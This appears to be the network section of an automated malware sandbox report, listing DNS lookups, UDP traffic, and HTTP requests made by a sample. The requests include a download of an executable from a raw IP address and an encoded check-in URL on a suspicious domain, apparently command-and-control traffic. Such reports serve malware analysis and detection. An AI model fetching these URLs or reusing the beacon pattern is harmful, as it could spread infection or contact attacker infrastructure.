Network Analysis
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| www.homzinsurance.com |
CNAME
pixie.porkbun.com
|
44.227.76.166 |
| www.passionate-lovee.info | ||
| www.zds120.net |
- UDP Requests
-
-
192.168.56.103:50800 164.124.101.2:53
-
192.168.56.103:52760 164.124.101.2:53
-
192.168.56.103:53673 164.124.101.2:53
-
192.168.56.103:62576 164.124.101.2:53
-
192.168.56.103:64894 164.124.101.2:53
-
192.168.56.103:137 192.168.56.255:137
-
192.168.56.103:138 192.168.56.255:138
-
192.168.56.103:50804 239.255.255.250:1900
-
52.231.114.183:123 192.168.56.103:123
-
8.8.8.8:53 192.168.56.103:53673
-
GET
200
http://185.246.220.60/thirdagodzx.exe
REQUEST
RESPONSE
BODY
GET /thirdagodzx.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3)
Host: 185.246.220.60
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Tue, 04 Jul 2023 08:40:03 GMT
Server: Apache
Last-Modified: Mon, 03 Jul 2023 01:47:49 GMT
ETag: "a5400-5ff8b5aa6bafd"
Accept-Ranges: bytes
Content-Length: 676864
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/octet-stream
GET
307
http://www.homzinsurance.com/m42i/?t6Ad=jAEGKBkgX+coUVg9NMVQf9FWqzrRtM0fCE1GJ8yeoCpOSh0XqiXRBFdFGhIRqI06+WgHzOcE&9r4l2=xPGtQnbH
REQUEST
RESPONSE
BODY
GET /m42i/?t6Ad=jAEGKBkgX+coUVg9NMVQf9FWqzrRtM0fCE1GJ8yeoCpOSh0XqiXRBFdFGhIRqI06+WgHzOcE&9r4l2=xPGtQnbH HTTP/1.1
Host: www.homzinsurance.com
Connection: close
HTTP/1.1 307 Temporary Redirect
Server: openresty
Date: Tue, 04 Jul 2023 08:41:54 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 168
Connection: close
Location: http://homzinsurance.com
X-Frame-Options: sameorigin
ICMP traffic
| Source | Destination | ICMP Type | Data |
|---|---|---|---|
| 192.168.56.103 | 164.124.101.2 | 3 |
IRC traffic
No IRC requests performed.
Suricata Alerts
Suricata TLS
No Suricata TLS
Snort Alerts
No Snort Alerts